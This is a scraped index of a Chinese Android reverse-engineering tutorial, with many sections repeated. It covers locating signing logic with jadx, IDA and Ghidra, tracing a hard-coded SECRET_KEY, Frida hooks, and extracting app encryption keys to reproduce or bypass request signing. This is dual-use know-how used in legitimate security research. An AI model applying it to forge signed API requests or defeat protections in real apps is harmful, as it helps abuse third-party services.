或按 X 查看所有调用点 在 IDA Pro 中： 光标移到函数名 按 X 键 查看 Xrefs to（被谁调用）和 Xrefs from（调用了谁） 3.2 向上追溯调用链 RequestBuilder.buildParams() ↓ SignUtils.generateSign() ← 目标函数 分析签名函数的实现： public static String generateSign(Map params) { // Step 1: Sort parameters TreeMap sortedParams = new TreeMap\u003c\u003e(params); // Step 2: Concatenate string StringBuilder sb = new StringBuilder(); for (Map.Entry entry : sortedParams.entrySet()) { sb.append(entry.getKey()).append(\"=\").append(entry.getValue()).append(\"\u0026\"); } sb.append(\"key=\").append(SECRET_KEY); // Step 3: Calculate MD5 return MD5.encode(sb.toString()); } ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:3","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#32-向上追溯调用链"},{"categories":null,"collections":null,"content":"第 4 步：数据流分析（15 分钟） 目标：追踪 SECRET_KEY 的来源 4.1 查找变量定义 在 jadx 中： 点击 SECRET_KEY Ctrl+Click 跳转到定义 可能的情况： 情况 1: 硬编码（最简单） private static final String SECRET_KEY = \"abc123def456\"; 直接拿到密钥！ 情况 2: 从配置文件读取 static { try { Properties props = new Properties(); props.load(context.getAssets().open(\"config.properties\")); SECRET_KEY = props.getProperty(\"api.secret\"); } catch (IOException e) { SECRET_KEY = null; } } 需要检查配置文件： cat app_unzipped/assets/config.properties 情况 3: 从 Native 层获取 static { System.loadLibrary(\"native-lib\"); SECRET_KEY = getKeyFromNative(); } private static native String getKeyFromNative(); 需要分析 SO 文件。 4.2 在 Ghidra 中追踪数据流 在 Ghidra 反编译窗口： 双击变量名 所有使用该变量的地方会高亮显示 追踪变量在函数内的流动 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:4","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#第-4-步数据流分析15-分钟"},{"categories":null,"collections":null,"content":"第 4 步：数据流分析（15 分钟） 目标：追踪 SECRET_KEY 的来源 4.1 查找变量定义 在 jadx 中： 点击 SECRET_KEY Ctrl+Click 跳转到定义 可能的情况： 情况 1: 硬编码（最简单） private static final String SECRET_KEY = \"abc123def456\"; 直接拿到密钥！ 情况 2: 从配置文件读取 static { try { Properties props = new Properties(); props.load(context.getAssets().open(\"config.properties\")); SECRET_KEY = props.getProperty(\"api.secret\"); } catch (IOException e) { SECRET_KEY = null; } } 需要检查配置文件： cat app_unzipped/assets/config.properties 情况 3: 从 Native 层获取 static { System.loadLibrary(\"native-lib\"); SECRET_KEY = getKeyFromNative(); } private static native String getKeyFromNative(); 需要分析 SO 文件。 4.2 在 Ghidra 中追踪数据流 在 Ghidra 反编译窗口： 双击变量名 所有使用该变量的地方会高亮显示 追踪变量在函数内的流动 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:4","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#41-查找变量定义"},{"categories":null,"collections":null,"content":"第 4 步：数据流分析（15 分钟） 目标：追踪 SECRET_KEY 的来源 4.1 查找变量定义 在 jadx 中： 点击 SECRET_KEY Ctrl+Click 跳转到定义 可能的情况： 情况 1: 硬编码（最简单） private static final String SECRET_KEY = \"abc123def456\"; 直接拿到密钥！ 情况 2: 从配置文件读取 static { try { Properties props = new Properties(); props.load(context.getAssets().open(\"config.properties\")); SECRET_KEY = props.getProperty(\"api.secret\"); } catch (IOException e) { SECRET_KEY = null; } } 需要检查配置文件： cat app_unzipped/assets/config.properties 情况 3: 从 Native 层获取 static { System.loadLibrary(\"native-lib\"); SECRET_KEY = getKeyFromNative(); } private static native String getKeyFromNative(); 需要分析 SO 文件。 4.2 在 Ghidra 中追踪数据流 在 Ghidra 反编译窗口： 双击变量名 所有使用该变量的地方会高亮显示 追踪变量在函数内的流动 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:4","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#42-在-ghidra-中追踪数据流"},{"categories":null,"collections":null,"content":"第 5 步：Native 层分析（20 分钟） 如果关键逻辑在 SO 文件中。 5.1 定位 Native 函数 在 jadx 中找到 JNI 声明： public native String encrypt(String plaintext); 找到对应的 SO 文件： ls app_unzipped/lib/arm64-v8a/ # libnative-lib.so # 用 IDA Pro 打开 5.2 在 IDA Pro 中定位函数 使用函数窗口搜索： View → Open Subviews → Functions 搜索 Java_com_example 前缀 双击跳转到函数 或使用 Exports 窗口： View → Open Subviews → Exports 搜索函数名 双击跳转 5.3 分析函数逻辑 示例反编译代码（IDA/Ghidra）： jstring Java_com_example_CryptoUtils_encrypt(JNIEnv *env, jobject obj, jstring plaintext) { const char *plain = (*env)-\u003eGetStringUTFChars(env, plaintext, 0); // AES encryption unsigned char key[16] = {0x12, 0x34, 0x56, 0x78, ...}; unsigned char iv[16] = {0x00, 0x00, 0x00, 0x00, ...}; unsigned char *encrypted = aes_encrypt(plain, key, iv); jstring result = (*env)-\u003eNewStringUTF(env, encrypted); (*env)-\u003eReleaseStringUTFChars(env, plaintext, plain); return result; } 提取信息： 密钥：{0x12, 0x34, 0x56, 0x78, ...} IV：{0x00, 0x00, ...} ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:5","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#第-5-步native-层分析20-分钟"},{"categories":null,"collections":null,"content":"第 5 步：Native 层分析（20 分钟） 如果关键逻辑在 SO 文件中。 5.1 定位 Native 函数 在 jadx 中找到 JNI 声明： public native String encrypt(String plaintext); 找到对应的 SO 文件： ls app_unzipped/lib/arm64-v8a/ # libnative-lib.so # 用 IDA Pro 打开 5.2 在 IDA Pro 中定位函数 使用函数窗口搜索： View → Open Subviews → Functions 搜索 Java_com_example 前缀 双击跳转到函数 或使用 Exports 窗口： View → Open Subviews → Exports 搜索函数名 双击跳转 5.3 分析函数逻辑 示例反编译代码（IDA/Ghidra）： jstring Java_com_example_CryptoUtils_encrypt(JNIEnv *env, jobject obj, jstring plaintext) { const char *plain = (*env)-\u003eGetStringUTFChars(env, plaintext, 0); // AES encryption unsigned char key[16] = {0x12, 0x34, 0x56, 0x78, ...}; unsigned char iv[16] = {0x00, 0x00, 0x00, 0x00, ...}; unsigned char *encrypted = aes_encrypt(plain, key, iv); jstring result = (*env)-\u003eNewStringUTF(env, encrypted); (*env)-\u003eReleaseStringUTFChars(env, plaintext, plain); return result; } 提取信息： 密钥：{0x12, 0x34, 0x56, 0x78, ...} IV：{0x00, 0x00, ...} ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:5","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#51-定位-native-函数"},{"categories":null,"collections":null,"content":"第 5 步：Native 层分析（20 分钟） 如果关键逻辑在 SO 文件中。 5.1 定位 Native 函数 在 jadx 中找到 JNI 声明： public native String encrypt(String plaintext); 找到对应的 SO 文件： ls app_unzipped/lib/arm64-v8a/ # libnative-lib.so # 用 IDA Pro 打开 5.2 在 IDA Pro 中定位函数 使用函数窗口搜索： View → Open Subviews → Functions 搜索 Java_com_example 前缀 双击跳转到函数 或使用 Exports 窗口： View → Open Subviews → Exports 搜索函数名 双击跳转 5.3 分析函数逻辑 示例反编译代码（IDA/Ghidra）： jstring Java_com_example_CryptoUtils_encrypt(JNIEnv *env, jobject obj, jstring plaintext) { const char *plain = (*env)-\u003eGetStringUTFChars(env, plaintext, 0); // AES encryption unsigned char key[16] = {0x12, 0x34, 0x56, 0x78, ...}; unsigned char iv[16] = {0x00, 0x00, 0x00, 0x00, ...}; unsigned char *encrypted = aes_encrypt(plain, key, iv); jstring result = (*env)-\u003eNewStringUTF(env, encrypted); (*env)-\u003eReleaseStringUTFChars(env, plaintext, plain); return result; } 提取信息： 密钥：{0x12, 0x34, 0x56, 0x78, ...} IV：{0x00, 0x00, ...} ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:5","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#52-在-ida-pro-中定位函数"},{"categories":null,"collections":null,"content":"第 5 步：Native 层分析（20 分钟） 如果关键逻辑在 SO 文件中。 5.1 定位 Native 函数 在 jadx 中找到 JNI 声明： public native String encrypt(String plaintext); 找到对应的 SO 文件： ls app_unzipped/lib/arm64-v8a/ # libnative-lib.so # 用 IDA Pro 打开 5.2 在 IDA Pro 中定位函数 使用函数窗口搜索： View → Open Subviews → Functions 搜索 Java_com_example 前缀 双击跳转到函数 或使用 Exports 窗口： View → Open Subviews → Exports 搜索函数名 双击跳转 5.3 分析函数逻辑 示例反编译代码（IDA/Ghidra）： jstring Java_com_example_CryptoUtils_encrypt(JNIEnv *env, jobject obj, jstring plaintext) { const char *plain = (*env)-\u003eGetStringUTFChars(env, plaintext, 0); // AES encryption unsigned char key[16] = {0x12, 0x34, 0x56, 0x78, ...}; unsigned char iv[16] = {0x00, 0x00, 0x00, 0x00, ...}; unsigned char *encrypted = aes_encrypt(plain, key, iv); jstring result = (*env)-\u003eNewStringUTF(env, encrypted); (*env)-\u003eReleaseStringUTFChars(env, plaintext, plain); return result; } 提取信息： 密钥：{0x12, 0x34, 0x56, 0x78, ...} IV：{0x00, 0x00, ...} ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:5","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#53-分析函数逻辑"},{"categories":null,"collections":null,"content":"第 6 步：识别加密算法（10 分钟） 6.1 使用 FindCrypt 插件（IDA Pro） 安装： # 下载 git clone https://github.com/polymorf/findcrypt-yara.git # 复制到 IDA 插件目录 cp findcrypt3.py $IDA_PATH/plugins/ 运行插件后会自动标记识别到的加密常量。 6.2 手动识别 常见加密算法特征： 算法 特征常量（十六进制） AES 63 7C 77 7B F2 6B 6F C5 (S-Box) MD5 67 45 23 01 EF CD AB 89 (初始化向量) SHA-1 67 45 23 01 EF CD AB 89 98 BA DC FE SHA-256 428A2F98 71374491 B5C0FBCF DES 固定的 S-Box 和 P-Box 表 在 IDA 中搜索：使用 Alt+B（二进制搜索）查找特征字节。 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:6","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#第-6-步识别加密算法10-分钟"},{"categories":null,"collections":null,"content":"第 6 步：识别加密算法（10 分钟） 6.1 使用 FindCrypt 插件（IDA Pro） 安装： # 下载 git clone https://github.com/polymorf/findcrypt-yara.git # 复制到 IDA 插件目录 cp findcrypt3.py $IDA_PATH/plugins/ 运行插件后会自动标记识别到的加密常量。 6.2 手动识别 常见加密算法特征： 算法 特征常量（十六进制） AES 63 7C 77 7B F2 6B 6F C5 (S-Box) MD5 67 45 23 01 EF CD AB 89 (初始化向量) SHA-1 67 45 23 01 EF CD AB 89 98 BA DC FE SHA-256 428A2F98 71374491 B5C0FBCF DES 固定的 S-Box 和 P-Box 表 在 IDA 中搜索：使用 Alt+B（二进制搜索）查找特征字节。 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:6","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#61-使用-findcrypt-插件ida-pro"},{"categories":null,"collections":null,"content":"第 6 步：识别加密算法（10 分钟） 6.1 使用 FindCrypt 插件（IDA Pro） 安装： # 下载 git clone https://github.com/polymorf/findcrypt-yara.git # 复制到 IDA 插件目录 cp findcrypt3.py $IDA_PATH/plugins/ 运行插件后会自动标记识别到的加密常量。 6.2 手动识别 常见加密算法特征： 算法 特征常量（十六进制） AES 63 7C 77 7B F2 6B 6F C5 (S-Box) MD5 67 45 23 01 EF CD AB 89 (初始化向量) SHA-1 67 45 23 01 EF CD AB 89 98 BA DC FE SHA-256 428A2F98 71374491 B5C0FBCF DES 固定的 S-Box 和 P-Box 表 在 IDA 中搜索：使用 Alt+B（二进制搜索）查找特征字节。 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:6","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#62-手动识别"},{"categories":null,"collections":null,"content":"第 7 步：控制流图分析（10 分钟） 用途：理解复杂函数的逻辑结构 7.1 查看 CFG IDA Pro：按 Space 键切换到图形视图。 示例登录流程图： [检查用户名] --No--\u003e [返回错误 1] ↓ Yes [检查密码长度] --No--\u003e [返回错误 2] ↓ Yes [加密密码] ↓ [发送网络请求] ↓ [解析响应] --Failed--\u003e [返回错误 3] ↓ Success [保存 Token] ↓ [返回成功] 7.2 交叉引用图 Xrefs to（被谁调用）： LoginActivity.login() ↓ SignUtils.generateSign() Xrefs from（调用了谁）： SignUtils.generateSign() ↓ → MD5.encode() → Base64.encode() ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:7","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#第-7-步控制流图分析10-分钟"},{"categories":null,"collections":null,"content":"第 7 步：控制流图分析（10 分钟） 用途：理解复杂函数的逻辑结构 7.1 查看 CFG IDA Pro：按 Space 键切换到图形视图。 示例登录流程图： [检查用户名] --No--\u003e [返回错误 1] ↓ Yes [检查密码长度] --No--\u003e [返回错误 2] ↓ Yes [加密密码] ↓ [发送网络请求] ↓ [解析响应] --Failed--\u003e [返回错误 3] ↓ Success [保存 Token] ↓ [返回成功] 7.2 交叉引用图 Xrefs to（被谁调用）： LoginActivity.login() ↓ SignUtils.generateSign() Xrefs from（调用了谁）： SignUtils.generateSign() ↓ → MD5.encode() → Base64.encode() ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:7","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#71-查看-cfg"},{"categories":null,"collections":null,"content":"第 7 步：控制流图分析（10 分钟） 用途：理解复杂函数的逻辑结构 7.1 查看 CFG IDA Pro：按 Space 键切换到图形视图。 示例登录流程图： [检查用户名] --No--\u003e [返回错误 1] ↓ Yes [检查密码长度] --No--\u003e [返回错误 2] ↓ Yes [加密密码] ↓ [发送网络请求] ↓ [解析响应] --Failed--\u003e [返回错误 3] ↓ Success [保存 Token] ↓ [返回成功] 7.2 交叉引用图 Xrefs to（被谁调用）： LoginActivity.login() ↓ SignUtils.generateSign() Xrefs from（调用了谁）： SignUtils.generateSign() ↓ → MD5.encode() → Base64.encode() ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:7","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#72-交叉引用图"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:5:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#常见问题"},{"categories":null,"collections":null,"content":"问题 1: jadx 反编译失败 症状：打开 APK 后显示错误或代码不完整 解决： 尝试不同版本的 jadx # 使用最新版 wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip 调整 jadx 设置 禁用 “Deobfuscation” 禁用 “Inline methods” 查看 Smali 代码 # 使用 apktool apktool d app.apk -o app_smali ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:5:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#问题-1-jadx-反编译失败"},{"categories":null,"collections":null,"content":"问题 2: 找不到关键字符串 可能原因： 字符串被加密/混淆 在运行时动态解密 解决：用 Frida Hook 查看运行时字符串 字符串在 Native 层 # 在 SO 文件中搜索 strings libnative-lib.so | grep \"sign\" 字符串被拆分 // Code might be String key = \"sec\" + \"ret\" + \"key\"; ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:5:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#问题-2-找不到关键字符串"},{"categories":null,"collections":null,"content":"问题 3: IDA Pro 没有自动识别函数 症状：打开 SO 文件后只看到数据，没有函数 解决： 手动创建函数 按 ‘P’ 键创建函数 按 ‘C’ 键转换为代码 使用自动分析 勾选 “Create Functions” 勾选 “Analyze Code” 检查是否被混淆 OLLVM 控制流平坦化 参考：OLLVM 反混淆 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:5:3","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#问题-3-ida-pro-没有自动识别函数"},{"categories":null,"collections":null,"content":"问题 4: 代码太复杂看不懂 策略： 重命名变量和函数 IDA: 按 'N' 键重命名 Ghidra: 右键 → Rename // Original String a = b(c, d); // After renaming String encryptedData = encrypt(plaintext, key); 添加注释 IDA: 按 ';' 键添加注释 Ghidra: 右键 → Set Comment 分段理解 一次只分析一个功能 画流程图记录逻辑 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:5:4","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#问题-4-代码太复杂看不懂"},{"categories":null,"collections":null,"content":"问题 5: 如何验证静态分析结果？ 方法 1：使用 CyberChef 访问 https://gchq.github.io/CyberChef/ 测试加密算法。 方法 2：Python 重现 import hashlib def generate_sign(params, secret_key): # 从静态分析复制的逻辑 sorted_params = sorted(params.items()) sign_str = '\u0026'.join([f'{k}={v}' for k, v in sorted_params]) sign_str += f'\u0026key={secret_key}' return hashlib.md5(sign_str.encode()).hexdigest() # 测试 params = {'user': 'test', 'timestamp': '1234567890'} secret = 'abc123' print(generate_sign(params, secret)) 方法 3：Frida 对比 Java.perform(function () { var SignUtils = Java.use(\"com.example.SignUtils\"); var HashMap = Java.use(\"java.util.HashMap\"); var params = HashMap.$new(); params.put(\"user\", \"test\"); params.put(\"timestamp\", \"1234567890\"); var sign = SignUtils.generateSign(params); console.log(\"[*] 签名结果:\", sign); }); ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:5:5","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#问题-5-如何验证静态分析结果"},{"categories":null,"collections":null,"content":"延伸阅读 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:6:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#延伸阅读"},{"categories":null,"collections":null,"content":"相关配方 逆向工程工作流 - 完整的分析流程 密码学分析 - 加密算法识别 OLLVM 反混淆 - 处理混淆代码 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:6:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 IDA Pro 使用指南 Ghidra 使用指南 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:6:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#工具深入"},{"categories":null,"collections":null,"content":"在线资源 资源 链接 IDA Pro 教程 https://www.hex-rays.com/products/ida/support/tutorials/ Ghidra 官方手册 https://ghidra-sre.org/docs/ FindCrypt 插件 https://github.com/polymorf/findcrypt-yara ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:6:3","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#在线资源"},{"categories":null,"collections":null,"content":"理论基础 ARM 汇编基础 DEX 文件格式 ELF 文件格式 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:6:4","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#理论基础"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:7:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#快速参考"},{"categories":null,"collections":null,"content":"jadx 快捷键 快捷键 功能 Ctrl+Shift+F 全局搜索 Ctrl+F 当前文件搜索 X 查找用法（Xrefs） Ctrl+Click 跳转到定义 Alt+← 后退 F5 重新反编译 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:7:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#jadx-快捷键"},{"categories":null,"collections":null,"content":"IDA Pro 快捷键 快捷键 功能 X 交叉引用 N 重命名 ; 添加注释 Space 切换图形/文本视图 G 跳转到地址 P 创建函数 C 转换为代码 A 转换为字符串 Shift+F12 查看字符串 Alt+T 文本搜索 Alt+B 二进制搜索 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:7:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#ida-pro-快捷键"},{"categories":null,"collections":null,"content":"分析流程模板 1. 分析目标: _______________ 2. 入口点: _______________ 3. 关键函数: _______________ 4. 调用链: _______________ → _______________ → _______________ 5. 关键变量: - 名称: _______________ - 类型: _______________ - 来源: _______________ 6. 算法识别: _______________ 7. 验证结果: _______________ 8. 下一步: _______________ 成功定位关键逻辑了吗？ 现在你可以理解 App 的核心算法了！ 下一步推荐：动态分析深入（验证和测试你的发现） ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:7:3","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#分析流程模板"},{"categories":null,"collections":null,"content":"分析并提取 Android 应用的加密密钥 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Frida 完整指南 - 使用 Hook 拦截加密函数 网络抓包技术 - 捕获加密前后的数据对比 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:0:0","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#分析并提取-android-应用的加密密钥"},{"categories":null,"collections":null,"content":"问题场景 你遇到了什么问题？ App 的 API 请求参数被加密了，看不懂内容 想知道 App 使用了什么加密算法 需要提取加密密钥来解密数据 想重现 App 的加密/签名逻辑用于自动化 需要绕过加密验证或签名检查 本配方教你：识别加密算法、定位密钥位置、使用 Frida 动态提取密钥。 核心理念： 💡 密码学逆向的关键不是破解算法，而是找到密钥 不要试图\"破解\" AES/RSA 等成熟算法（几乎不可能） 用动态分析直接提取密钥 或直接调用 App 自己的加密函数（利用已有密钥） 预计用时: 30-60 分钟 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:1:0","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:2:0","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 jadx-gui - Java 层静态分析 Frida - 动态 Hook 提取密钥 Android 设备（已 Root） ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:2:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 IDA Pro / Ghidra - Native 层分析 Burp Suite - 抓包查看加密后的数据 CyberChef - 在线加密/解密工具（https://gchq.github.io/CyberChef/） ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:2:2","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:3:0","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#前置条件"},{"categories":null,"collections":null,"content":"✅ 确认清单 # 1. Frida 正常运行 frida-ps -U # 2. jadx-gui 已安装 jadx-gui --version # 3. 抓包环境已配置（可选） # 参考: network_sniffing.md ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:3:1","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#-确认清单"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2025-04-07","objectID":"/reverse_engineering/android/01-recipes/network/crypto_analysis/:4:0","tags":["RSA","加密分析","Hook","DEX","IDA Pro","反混淆"],"title":"分析并提取 Android 应用的加密密钥","uri":"/reverse_engineering/android/01-recipes/network/crypto_analysis/#解决方案"},{"categories":null,"collections":null,"content":"第 1 步：识别加密算法（5 分钟） 1.1 搜索特征字符串 用 jadx-gui 打开 APK，全局搜索： # 对称加密 AES DES 3DES # 非对称加密 RSA ECC # 哈希算法 MD5 SHA SHA256 HMAC # 加密模式 ECB CBC CTR GCM # Padding PKCS5Padding PKCS7Padding # 编码 Base64 1.2 搜索 Java 加密 API // Java 层加密 API javax.crypto.Cipher javax.crypto.spec.SecretKeySpec javax.crypto.spec.IvParameterSpec javax.crypto.Mac java.security.Signature java.security.MessageDigest // Base64 编码 android.util.Base64 java.util.Base64 1.3 检查 Native 层加密 # 解压 APK unzip app.apk -d app_unzipped # 搜索 .so 文件中的加密库 strings app_unzipped/lib/*/lib*.so | grep 